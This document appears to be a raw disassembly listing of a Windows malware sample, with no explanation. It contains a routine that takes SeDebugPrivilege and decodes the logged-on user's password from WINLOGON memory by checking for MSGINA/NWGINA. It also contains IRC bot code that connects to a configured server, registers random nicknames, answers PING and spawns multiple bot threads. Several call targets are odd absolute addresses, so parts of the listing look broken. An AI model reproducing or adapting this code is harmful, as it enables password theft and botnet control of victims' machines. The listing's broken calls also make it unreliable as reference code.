mov edi, eax
push offset aNtquerysystemi ; "NtQuerySystemInformation"
push edi
mov [ebp+var_8], edi
call esi
push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
push edi
mov dword_4D3DEC, eax
call esi
push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
push edi
mov dword_4D3DE0, eax
call esi
push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
push edi
mov dword_4D3FF0, eax
call esi
push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
push edi
mov dword_4D3DE8, eax
call esi
mov dword_4D3DE4, eax
call sub_4170EC
test eax, eax
mov [ebp+arg_0], eax
jz loc_417066
mov esi, dword_42713C
mov edi, 400h
mov ebx, offset dword_4D2DE0
push edi
push ebx
push offset off_437A3C
call esi
push edi
mov edi, offset dword_4D35E0
push edi
push offset off_437A24
call esi
cmp [ebp+var_4], 1
push offset dword_4D3FF8
push [ebp+arg_0]
jnz short loc_417012
call sub_417275
jmp short loc_417017
; ---------------------------------------------------------------------------
loc_417012: ; CODE XREF: sub_416F1A+EFj
call sub_41741C
loc_417017: ; CODE XREF: sub_416F1A+F6j
pop ecx
test eax, eax
pop ecx
jz short loc_41705F
cmp dword_4D3FF8, 0
jnz short loc_417046
push ebx
push edi
push [ebp+arg_0]
lea eax, [ebp+var_29C]
push offset unk_4379C8
push 200h
push eax
call sub_41B980
add esp, 18h
jmp short loc_417079
; ---------------------------------------------------------------------------
loc_417046: ; CODE XREF: sub_416F1A+10Aj
cmp [ebp+var_4], 1
push [ebp+arg_0]
jnz short loc_417056
call sub_417552
jmp short loc_41705B
; ---------------------------------------------------------------------------
loc_417056: ; CODE XREF: sub_416F1A+133j
call sub_4175E9
loc_41705B: ; CODE XREF: sub_416F1A+13Aj
pop ecx
push eax
jmp short loc_41706B
; ---------------------------------------------------------------------------
loc_41705F: ; CODE XREF: sub_416F1A+101j
push offset unk_437990
jmp short loc_41706B
; ---------------------------------------------------------------------------
loc_417066: ; CODE XREF: sub_416F1A+B6j
push offset unk_437964
loc_41706B: ; CODE XREF: sub_416F1A+143j
; sub_416F1A+14Aj
lea eax, [ebp+var_29C]
push eax
call sub_41B886
pop ecx
pop ecx
loc_417079: ; CODE XREF: sub_416F1A+12Aj
push 0
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419651
pop ecx
pop ecx
push [ebp+var_8]
nop
call near ptr 2780000h
pop ebx
jmp short loc_4170A6
; ---------------------------------------------------------------------------
loc_417093: ; CODE XREF: sub_416F1A+4Ej
push offset unk_437930
loc_417098: ; CODE XREF: sub_416F1A+3Aj
lea eax, [ebp+var_29C]
push eax
call sub_41B886
pop ecx
pop ecx
loc_4170A6: ; CODE XREF: sub_416F1A+177j
xor esi, esi
cmp [ebp+var_10], esi
jnz short loc_4170CD
push esi
lea eax, [ebp+var_29C]
push [ebp+var_14]
push eax
lea eax, [ebp+var_98]
push eax
push [ebp+var_9C]
call sub_409A72
add esp, 14h
loc_4170CD: ; CODE XREF: sub_416F1A+191j
lea eax, [ebp+var_29C]
push eax
call sub_4151AC
push [ebp+var_18]
call sub_40B412
pop ecx
pop ecx
push esi
nop
call near ptr 26D0000h
pop edi
pop esi
sub_416F1A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4170EC proc near ; CODE XREF: sub_416F1A+ACp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
sub esp, 18h
and [esp+18h+var_4], 0
and [esp+18h+var_14], 0
push ebx
push ebp
push esi
mov esi, dword_427148
mov ebx, 100h
push edi
push ebx
push 8
call esi
mov edi, dword_427144
push eax
call edi
mov ebp, eax
lea eax, [esp+28h+var_14]
push eax
push ebx
push ebp
push 10h
call dword_4D3DEC
push ebp
push 0
call esi
push eax
nop
call near ptr 2790000h
push [esp+28h+var_14]
push 8
call esi
push eax
call edi
mov ebp, eax
mov eax, [esp+28h+var_14]
lea ecx, [esp+28h+var_C]
mov [esp+28h+var_C], eax
push ecx
push eax
push ebp
push 10h
call dword_4D3DEC
test eax, eax
jnz short loc_4171D9
mov eax, [esp+28h+var_C]
shr eax, 4
mov [esp+28h+var_10], eax
jz short loc_4171D9
push 1
mov ebx, ebp
pop ecx
cmp eax, ecx
mov [esp+28h+var_18], ecx
jb short loc_4171D9
loc_417175: ; CODE XREF: sub_4170EC+EBj
cmp word ptr [ebx+8], 5
jnz short loc_4171CC
push 0
push 0
call dword_4D3DE0
mov edi, eax
push edi
push 1
push dword ptr [ebx+4]
call dword_4D3FF0
test eax, eax
jnz short loc_4171BD
mov eax, [edi+60h]
push offset aWinlogon ; "WINLOGON"
mov [esp+2Ch+var_8], eax
lea eax, [edi+80h]
push eax
call sub_41D5AA
pop ecx
push eax
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4171F1
loc_4171BD: ; CODE XREF: sub_4170EC+AAj
test edi, edi
jz short loc_4171C8
push edi
call dword_4D3DE8
loc_4171C8: ; CODE XREF: sub_4170EC+D3j
mov eax, [esp+28h+var_10]
loc_4171CC: ; CODE XREF: sub_4170EC+8Ej
add ebx, 10h
inc [esp+28h+var_18]
cmp [esp+28h+var_18], eax
jbe short loc_417175
loc_4171D9: ; CODE XREF: sub_4170EC+6Dj
; sub_4170EC+7Aj ...
xor edi, edi
loc_4171DB: ; CODE XREF: sub_4170EC+17Dj
push ebp
push 0
call esi
push eax
nop
call near ptr 2790000h
mov eax, edi
loc_4171E9: ; CODE XREF: sub_4170EC+184j
pop edi
pop esi
pop ebp
pop ebx
add esp, 18h
retn
; ---------------------------------------------------------------------------
loc_4171F1: ; CODE XREF: sub_4170EC+CFj
and [esp+28h+var_10], 0
cmp [esp+28h+var_8], 0
jbe short loc_41725A
lea eax, [edi+80h]
mov [esp+28h+var_18], eax
loc_417207: ; CODE XREF: sub_4170EC+16Cj
add [esp+28h+var_18], 11Ch
push offset aNwgina ; "NWGINA"
push [esp+2Ch+var_18]
call sub_41D5AA
pop ecx
push eax
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_41726E
push offset aMsgina ; "MSGINA"
push [esp+2Ch+var_18]
call sub_41D5AA
pop ecx
push eax
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_41724C
mov eax, [ebx+4]
mov [esp+28h+var_4], eax
loc_41724C: ; CODE XREF: sub_4170EC+157j
inc [esp+28h+var_10]
mov eax, [esp+28h+var_10]
cmp eax, [esp+28h+var_8]
jb short loc_417207
loc_41725A: ; CODE XREF: sub_4170EC+10Fj
test edi, edi
jz short loc_417265
push edi
call dword_4D3DE8
loc_417265: ; CODE XREF: sub_4170EC+170j
mov edi, [esp+28h+var_4]
jmp loc_4171DB
; ---------------------------------------------------------------------------
loc_41726E: ; CODE XREF: sub_4170EC+13Cj
xor eax, eax
jmp loc_4171E9
sub_4170EC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417275 proc near ; CODE XREF: sub_416F1A+F1p
var_64 = byte ptr -64h
var_60 = dword ptr -60h
var_40 = byte ptr -40h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2B = byte ptr -2Bh
var_24 = byte ptr -24h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 64h
push esi
xor esi, esi
push [ebp+arg_0]
mov [ebp+var_10], esi
push esi
push 410h
nop
call near ptr 267071Ch
cmp eax, esi
mov [ebp+var_4], eax
jnz short loc_41729E
xor eax, eax
jmp loc_417419
; ---------------------------------------------------------------------------
loc_41729E: ; CODE XREF: sub_417275+20j
mov eax, [ebp+arg_4]
push ebx
push edi
mov [eax], esi
lea eax, [ebp+var_64]
push eax
nop
call near ptr 27B0277h
push [ebp+var_60]
mov [ebp+var_8], esi
mov esi, dword_427148
push 8
call esi
mov edi, dword_427144
push eax
call edi
lea ecx, [ebp+var_8]
mov ebx, dword_427150
push ecx
mov [ebp+arg_0], eax
push [ebp+var_60]
push eax
push 7FFDF000h
push [ebp+var_4]
call ebx
test eax, eax
jnz short loc_4172EE
xor esi, esi
jmp loc_41740C
; ---------------------------------------------------------------------------
loc_4172EE: ; CODE XREF: sub_417275+70j
lea eax, [ebp+var_40]
push 1Ch
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax+18h]
push [ebp+var_4]
nop
call near ptr 27A0CAEh
test eax, eax
jz loc_4173FB
mov ecx, [ebp+var_30]
mov eax, 1000h
and ecx, eax
cmp ecx, eax
jnz loc_4173FB
test [ebp+var_2B], 1
jnz loc_4173FB
push [ebp+var_34]
push 8
call esi
push eax
call edi
mov edi, eax
lea eax, [ebp+var_8]
push eax
mov eax, [ebp+arg_0]
push [ebp+var_34]
mov [ebp+var_C], edi
push edi
push dword ptr [eax+18h]
push [ebp+var_4]
call ebx
test eax, eax
jz loc_4173FB
loc_417351: ; CODE XREF: sub_417275+112j
push edi
push offset dword_4D2DE0
call sub_426762
pop ecx
test eax, eax
pop ecx
jnz short loc_417379
lea eax, [edi+200h]
push eax
push offset dword_4D35E0
call sub_426762
pop ecx
test eax, eax
pop ecx
jz short loc_417389
loc_417379: ; CODE XREF: sub_417275+EBj
mov eax, [ebp+var_34]
mov ecx, [ebp+var_C]
inc edi
add eax, ecx
inc edi
cmp edi, eax
jnb short loc_4173FB
jmp short loc_417351
; ---------------------------------------------------------------------------
loc_417389: ; CODE XREF: sub_417275+102j
test edi, edi
jz short loc_4173FB
lea eax, [ebp+var_14]
push eax
lea eax, [edi+410h]
push eax
nop
call near ptr 2740000h
test eax, eax
jz short loc_4173C4
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_14]
push eax
nop
call near ptr 2730875h
test eax, eax
jz short loc_4173C4
mov al, [edi+42Ch]
mov ecx, [ebp+arg_4]
shr eax, 1
and eax, 7Fh
mov [ecx], eax
loc_4173C4: ; CODE XREF: sub_417275+12Bj
; sub_417275+13Dj
movzx eax, word ptr [edi+42Ch]
shr eax, 8
mov dword_4D4004, eax
mov eax, [ebp+arg_0]
mov [ebp+var_10], 1
mov eax, [eax+18h]
sub eax, [ebp+var_C]
lea eax, [eax+edi+434h]
add edi, 434h
mov dword_4D3FFC, eax
mov dword_4D4000, edi
loc_4173FB: ; CODE XREF: sub_417275+90j
; sub_417275+A2j ...
push [ebp+arg_0]
push 0
call esi
push eax
call near ptr 2790000h
nop
mov esi, [ebp+var_10]
loc_41740C: ; CODE XREF: sub_417275+74j
push [ebp+var_4]
nop
call near ptr 265098Dh
pop edi
mov eax, esi
pop ebx
loc_417419: ; CODE XREF: sub_417275+24j
pop esi
leave
retn
sub_417275 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41741C proc near ; CODE XREF: sub_416F1A:loc_417012p
var_4C = byte ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_28 = byte ptr -28h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_13 = byte ptr -13h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 4Ch
push ebx
push esi
push edi
push [ebp+arg_0]
push 0
push 410h
nop
call near ptr 267071Ch
test eax, eax
mov [ebp+arg_0], eax
jz loc_41750E
mov eax, [ebp+arg_4]
and dword ptr [eax], 0
lea eax, [ebp+var_4C]
push eax
nop
call near ptr 27B0277h
mov ebx, [ebp+var_44]
mov eax, [ebp+var_40]
cmp ebx, eax
mov [ebp+var_C], eax
jnb loc_417505
mov edi, dword_427148
loc_417467: ; CODE XREF: sub_41741C+E3j
lea eax, [ebp+var_28]
push 1Ch
push eax
push ebx
push [ebp+arg_0]
call near ptr 27A0CAEh
nop
test eax, eax
jz short loc_4174F3
mov edx, [ebp+var_18]
mov ecx, [ebp+var_1C]
mov eax, 1000h
mov [ebp+var_4], ecx
and edx, eax
cmp edx, eax
jnz short loc_4174F9
test [ebp+var_13], 1
jnz short loc_4174F9
push ecx
push 8
call edi
push eax
nop
call near ptr 27A0000h
mov esi, eax
lea eax, [ebp+var_8]
push eax
and [ebp+var_8], 0
push [ebp+var_1C]
push esi
push ebx
push [ebp+arg_0]
call near ptr 27B0000h
nop
test eax, eax
jz short loc_4174E5
push offset dword_4D2DE0
push esi
call sub_426762
pop ecx
test eax, eax
pop ecx
jnz short loc_4174E5
lea eax, [esi+400h]
push offset dword_4D35E0
push eax
call sub_426762
pop ecx
test eax, eax
pop ecx
jz short loc_417515
loc_4174E5: ; CODE XREF: sub_41741C+9Fj
; sub_41741C+B0j
push esi
push 0
call edi
push eax
nop
call near ptr 2790000h
jmp short loc_4174F9
; ---------------------------------------------------------------------------
loc_4174F3: ; CODE XREF: sub_41741C+5Dj
mov eax, [ebp+var_48]
mov [ebp+var_4], eax
loc_4174F9: ; CODE XREF: sub_41741C+71j
; sub_41741C+77j ...
add ebx, [ebp+var_4]
cmp ebx, [ebp+var_C]
jb loc_417467
loc_417505: ; CODE XREF: sub_41741C+3Fj
push [ebp+arg_0]
call near ptr 265098Dh
nop
loc_41750E: ; CODE XREF: sub_41741C+1Ej
xor eax, eax
loc_417510: ; CODE XREF: sub_41741C+134j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_417515: ; CODE XREF: sub_41741C+C7j
add ebx, 800h
lea eax, [esi+800h]
xor ecx, ecx
mov dword_4D3FFC, ebx
mov dword_4D4000, eax
cmp [eax], cl
jnz short loc_417537
cmp [eax+1], cl
jz short loc_41753F
loc_417537: ; CODE XREF: sub_41741C+114j
; sub_41741C+121j
inc ecx
inc eax
inc eax
cmp byte ptr [eax], 0
jnz short loc_417537
loc_41753F: ; CODE XREF: sub_41741C+119j
mov eax, [ebp+arg_4]
push [ebp+arg_0]
mov [eax], ecx
call near ptr 265098Dh
nop
push 1
pop eax
jmp short loc_417510
sub_41741C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417552 proc near ; CODE XREF: sub_416F1A+135p
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword_4D3FF8
push esi
mov esi, dword_427148
push edi
lea ecx, [eax+eax]
lea eax, [eax+eax+2]
mov [ebp+var_6], ax
mov [ebp+var_8], cx
movzx eax, ax
push eax
push 8
call esi
push eax
call near ptr 27A0000h
nop
mov ecx, dword_4D3FF8
mov [ebp+var_4], eax
add ecx, ecx
push ecx
push dword_4D4000
push eax
call sub_41C310
add esp, 0Ch
lea eax, [ebp+var_8]
push eax
mov al, byte ptr dword_4D4004
push eax
call dword_4D3DE4
push [ebp+var_4]
mov edi, offset dword_4D3DF0
push offset dword_4D2DE0
push offset dword_4D35E0
push [ebp+arg_0]
push offset dword_437B4C
push 200h
push edi
call sub_41B980
add esp, 1Ch
push [ebp+var_4]
push 0
call esi
push eax
nop
call near ptr 2790000h
mov eax, edi
pop edi
pop esi
leave
retn
sub_417552 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4175E9 proc near ; CODE XREF: sub_416F1A:loc_417056p
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
mov eax, dword_4D3FF8
push ebx
push esi
push edi
lea ecx, [eax+eax]
lea eax, [eax+eax+2]
mov [ebp+var_16], ax
mov [ebp+var_18], cx
movzx eax, ax
push eax
push 8
nop
call near ptr 27A0BB8h
push eax
nop
call near ptr 27A0000h
and [ebp+var_C], 0
mov [ebp+var_14], eax
mov ebx, offset dword_4D35E0
mov edi, 200h
mov esi, offset dword_4D2BE0
loc_41762F: ; CODE XREF: sub_4175E9+FAj
mov eax, dword_4D3FF8
add eax, eax
push eax
push dword_4D4000
push [ebp+var_14]
call sub_41C310
add esp, 0Ch
lea eax, [ebp+var_18]
push eax
push [ebp+var_C]
call dword_4D3DE4
mov eax, dword_4D3FF8
and [ebp+var_10], 0
mov ecx, [ebp+var_14]
mov [ebp+var_8], 1
test eax, eax
jbe short loc_4176A4
loc_41766C: ; CODE XREF: sub_4175E9+B3j
cmp [ebp+var_8], 0
jz short loc_4176C1
mov dl, [ecx]
test dl, dl
mov [ebp+var_1], dl
jz short loc_417690
cmp byte ptr [ecx+1], 0
jnz short loc_417690
cmp dl, 20h
jnb short loc_41768A
and [ebp+var_8], 0
loc_41768A: ; CODE XREF: sub_4175E9+9Bj
cmp [ebp+var_1], 7Eh
jbe short loc_417694
loc_417690: ; CODE XREF: sub_4175E9+90j
; sub_4175E9+96j
and [ebp+var_8], 0
loc_417694: ; CODE XREF: sub_4175E9+A5j
inc ecx
inc ecx
inc [ebp+var_10]
cmp [ebp+var_10], eax
jb short loc_41766C
cmp [ebp+var_8], 0
jz short loc_4176C1
loc_4176A4: ; CODE XREF: sub_4175E9+81j
push [ebp+var_14]
push offset dword_4D2DE0
push ebx
push [ebp+arg_0]
push offset dword_437B4C
push edi
push esi
call sub_41B980
add esp, 1Ch
jmp short loc_4176D9
; ---------------------------------------------------------------------------
loc_4176C1: ; CODE XREF: sub_4175E9+87j
; sub_4175E9+B9j
push offset dword_4D2DE0
push ebx
push [ebp+arg_0]
push offset dword_437B9C
push edi
push esi
call sub_41B980
add esp, 18h
loc_4176D9: ; CODE XREF: sub_4175E9+D6j
inc [ebp+var_C]
cmp [ebp+var_C], 0FFh
jbe loc_41762F
push [ebp+var_14]
push 0
nop
call near ptr 27A0BB8h
push eax
nop
call near ptr 2790000h
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_4175E9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417702 proc near ; CODE XREF: sub_4178BA+2Fp
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
push 0
push 1
push 2
call dword_4CAFF4
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jz short loc_41777E
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41B590
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_4]
call dword_4CAF74
push [ebp+arg_0]
mov [ebp+var_E], ax
call dword_4CAFB4
cmp eax, esi
jnz short loc_417763
push [ebp+arg_0]
call dword_4CAFF8
test eax, eax
jz short loc_41777E
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
loc_417763: ; CODE XREF: sub_417702+4Bj
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call dword_4CAF1C
cmp eax, esi
jnz short loc_417782
push edi
call dword_4CB00C
loc_41777E: ; CODE XREF: sub_417702+1Bj
; sub_417702+58j
mov eax, esi
jmp short loc_417784
; ---------------------------------------------------------------------------
loc_417782: ; CODE XREF: sub_417702+73j
mov eax, edi
loc_417784: ; CODE XREF: sub_417702+7Ej
pop edi
pop esi
leave
retn
sub_417702 endp
; =============== S U B R O U T I N E =======================================
sub_417788 proc near ; CODE XREF: sub_401ACD+3294p
; sub_401ACD+3300p ...
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
push offset asc_429998 ; "\n"
push edi
call sub_41BEC0
pop ecx
mov esi, offset dword_4D400C
pop ecx
loc_4177A0: ; CODE XREF: sub_417788+42j
cmp dword ptr [esi-4], 1
jnz short loc_4177BE
cmp dword ptr [esi], 0
jbe short loc_4177BE
push 0
push edi
call sub_41AFE0
pop ecx
push eax
push edi
push dword ptr [esi]
call dword_4CAFC4
loc_4177BE: ; CODE XREF: sub_417788+1Cj
; sub_417788+21j
add esi, 210h
cmp esi, offset dword_4DA72C
jl short loc_4177A0
pop edi
pop esi
retn
sub_417788 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4177CF proc near ; CODE XREF: sub_4178BA+155p
var_420 = byte ptr -420h
var_220 = byte ptr -220h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 420h
push ebx
push esi
mov esi, offset asc_42CA2C ; " "
push edi
push esi
push [ebp+arg_0]
call sub_41C0F4
pop ecx
mov [ebp+var_20], eax
pop ecx
lea edi, [ebp+var_1C]
push 7
pop ebx
loc_4177F4: ; CODE XREF: sub_4177CF+35j
push esi
push 0
call sub_41C0F4
mov [edi], eax
pop ecx
add edi, 4
dec ebx
pop ecx
jnz short loc_4177F4
mov esi, [ebp+var_1C]
xor edi, edi
cmp [ebp+var_20], edi
jnz short loc_41781C
cmp esi, edi
jnz short loc_41781C
push 1
pop eax
jmp loc_4178B5
; ---------------------------------------------------------------------------
loc_41781C: ; CODE XREF: sub_4177CF+3Fj
; sub_4177CF+43j
push [ebp+var_20]
push offset aPing ; "PING"
call sub_41C070
pop ecx
pop ecx
test eax, eax
push esi
jnz short loc_417837
push offset dword_4387B4
jmp short loc_417885
; ---------------------------------------------------------------------------
loc_417837: ; CODE XREF: sub_4177CF+5Fj
push offset a433 ; "433"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_417858
push esi
push offset dword_4387B0
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_4178B3
loc_417858: ; CODE XREF: sub_4177CF+76j
push 200h
lea eax, [ebp+var_420]
push edi
push eax
call sub_41B590
lea eax, [ebp+var_420]
push eax
call sub_417ADD
add esp, 10h
lea eax, [ebp+var_420]
push eax
push offset dword_4387A4
loc_417885: ; CODE XREF: sub_4177CF+66j
lea eax, [ebp+var_220]
push eax
call sub_41B886
add esp, 0Ch
lea eax, [ebp+var_220]
push edi
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_220]
push eax
push [ebp+arg_4]
call dword_4CAFC4
loc_4178B3: ; CODE XREF: sub_4177CF+87j
xor eax, eax
loc_4178B5: ; CODE XREF: sub_4177CF+48j
pop edi
pop esi
pop ebx
leave
retn
sub_4177CF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4178BA proc near ; DATA XREF: sub_417A5F+61o
var_4008 = byte ptr -4008h
var_3008 = byte ptr -3008h
var_2008 = byte ptr -2008h
var_1008 = byte ptr -1008h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 4008h
call sub_41BB20
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
imul esi, 210h
push 1
pop edi
lea eax, dword_4D4014[esi]
mov dword_4D4008[esi], edi
push dword_4D4214[esi]
push eax
call sub_417702
pop ecx
xor ebx, ebx
cmp eax, edi
pop ecx
mov dword_4D400C[esi], eax
jb loc_417A3F
mov edi, 1000h
lea eax, [ebp+var_2008]
push edi
push ebx
push eax
call sub_41B590
lea eax, [ebp+var_2008]
push eax
call sub_417ADD
lea eax, [ebp+var_4008]
push eax
call sub_417ADD
lea eax, [ebp+var_3008]
push eax
call sub_417ADD
add esp, 18h
lea eax, [ebp+var_3008]
push eax
lea eax, [ebp+var_4008]
push eax
lea eax, [ebp+var_2008]
push eax
lea eax, [ebp+var_1008]
push offset aNickSUserSHotm ; "NICK %s\nUSER %s \"hotmail.com\" \"127.0.0."...
push eax
call sub_41B886
add esp, 14h
lea eax, [ebp+var_1008]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_1008]
push eax
push dword_4D400C[esi]
call dword_4CAFC4
push edi
lea eax, [ebp+var_1008]
push ebx
push eax
call sub_41B590
add esp, 0Ch
loc_417996: ; CODE XREF: sub_4178BA+111j
; sub_4178BA+180j
push edi
lea eax, [ebp+var_1008]
push ebx
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_1008]
push ebx
push edi
push eax
push dword_4D400C[esi]
call dword_4CAF8C
cmp eax, ebx
mov [ebp+var_8], eax
jle short loc_417A3F
xor eax, eax
cmp [ebp+var_8], ebx
mov [ebp+var_4], eax
jz short loc_417996
loc_4179CD: ; CODE XREF: sub_4178BA+17Ej
mov al, [ebp+eax+var_1008]
cmp al, 0Dh
jz short loc_4179F4
cmp al, 0Ah
jz short loc_4179F4
cmp [ebp+arg_0], 0FA0h
jz short loc_4179F4
mov ecx, [ebp+arg_0]
inc [ebp+arg_0]
mov [ebp+ecx+var_2008], al
jmp short loc_417A2E
; ---------------------------------------------------------------------------
loc_4179F4: ; CODE XREF: sub_4178BA+11Cj
; sub_4178BA+120j ...
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_417A2E
push dword_4D400C[esi]
mov [ebp+eax+var_2008], bl
lea eax, [ebp+var_2008]
push eax
call sub_4177CF
pop ecx
test eax, eax
pop ecx
ja short loc_417A3F
push edi
lea eax, [ebp+var_2008]
push ebx
push eax
call sub_41B590
add esp, 0Ch
mov [ebp+arg_0], ebx
loc_417A2E: ; CODE XREF: sub_4178BA+138j
; sub_4178BA+13Fj
mov eax, [ebp+var_4]
inc eax
cmp eax, [ebp+var_8]
mov [ebp+var_4], eax
jnz short loc_4179CD
jmp loc_417996
; ---------------------------------------------------------------------------
loc_417A3F: ; CODE XREF: sub_4178BA+40j
; sub_4178BA+107j ...
mov dword_4D4008[esi], ebx
mov esi, dword_4D400C[esi]
cmp esi, ebx
jbe short loc_417A56
push esi
call dword_4CB00C
loc_417A56: ; CODE XREF: sub_4178BA+193j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
sub_4178BA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417A5F proc near ; CODE XREF: sub_401ACD+31E1p
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp [ebp+arg_8], ebx
push esi
push edi
mov [ebp+var_4], ebx
jle short loc_417AD8
loc_417A71: ; CODE XREF: sub_417A5F+77j
xor edi, edi
mov eax, offset dword_4D4008
loc_417A78: ; CODE XREF: sub_417A5F+28j
cmp [eax], ebx
jz short loc_417A89
add eax, 210h
inc edi
cmp eax, offset dword_4DA728
jl short loc_417A78
loc_417A89: ; CODE XREF: sub_417A5F+1Bj
cmp edi, 31h
jz short loc_417AD8
mov esi, edi
push [ebp+arg_0]
imul esi, 210h
lea eax, dword_4D4014[esi]
push eax
call sub_41BEB0
mov eax, [ebp+arg_4]
pop ecx
mov dword_4D4214[esi], eax
pop ecx
lea eax, [ebp+var_8]
mov dword_4D4008[esi], 1
push eax
push ebx
push edi
push offset sub_4178BA
push ebx
push ebx
call near ptr 267042Eh
nop
inc [ebp+var_4]
mov eax, [ebp+var_4]
cmp eax, [ebp+arg_8]
jl short loc_417A71
loc_417AD8: ; CODE XREF: sub_417A5F+10j
; sub_417A5F+2Dj
pop edi
pop esi
pop ebx
leave
retn
sub_417A5F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417ADD proc near ; CODE XREF: sub_401ACD+374Dp
; sub_401ACD+3793p ...
var_40 = byte ptr -40h
var_2D = byte ptr -2Dh
var_2C = byte ptr -2Ch
var_2B = byte ptr -2Bh
var_18 = qword ptr -18h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 40h
push 14h
lea eax, [ebp+var_2C]
push 0
push eax
call sub_41B590
add esp, 0Ch
call sub_41B8E2
mov [ebp+var_C], eax
fild [ebp+var_C]
fmul dbl_4276F8
call sub_41C798
cmp eax, 1
jnz short loc_417B27
call sub_41B8E2
call sub_41B8E2
push 66h
cdq
pop ecx
idiv ecx
push off_437EF0[edx*4]
jmp short loc_417B40
; ---------------------------------------------------------------------------
loc_417B27: ; CODE XREF: sub_417ADD+2Fj
call sub_41B8E2
call sub_41B8E2
cdq
mov ecx, 0C0h
idiv ecx
push off_437BF0[edx*4]
loc_417B40: ; CODE XREF: sub_417ADD+48j
lea eax, [ebp+var_2C]
push eax
call sub_41BEB0
pop ecx
lea eax, [ebp+var_2C]
pop ecx
push ebx
push esi
push edi
push eax
call sub_41AFE0
pop ecx
mov esi, eax
push 13h
mov [ebp+var_4], esi
pop eax
sub eax, esi
mov [ebp+var_C], eax
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276F0
call sub_41C798
mov ebx, eax
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fimul [ebp+var_4]
fmul dbl_4276E8
call sub_41C798
cmp esi, 2
mov edi, offset a__0 ; "-|`_\\{[]}"
jle short loc_417BB3
cmp esi, 3
jnz short loc_417BAA
cmp ebx, 1
jz short loc_417BB3
loc_417BAA: ; CODE XREF: sub_417ADD+C6j
cmp eax, 1
jnz loc_417C6D
loc_417BB3: ; CODE XREF: sub_417ADD+C1j
; sub_417ADD+CBj
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276E0
call sub_41C798
push off_437EF0[eax*4]
lea eax, [ebp+var_40]
push eax
call sub_41BEB0
movsx eax, [ebp+esi+var_2D]
lea ebx, [ebp+esi+var_2C]
push eax
push edi
call sub_41BFB0
add esp, 10h
test eax, eax
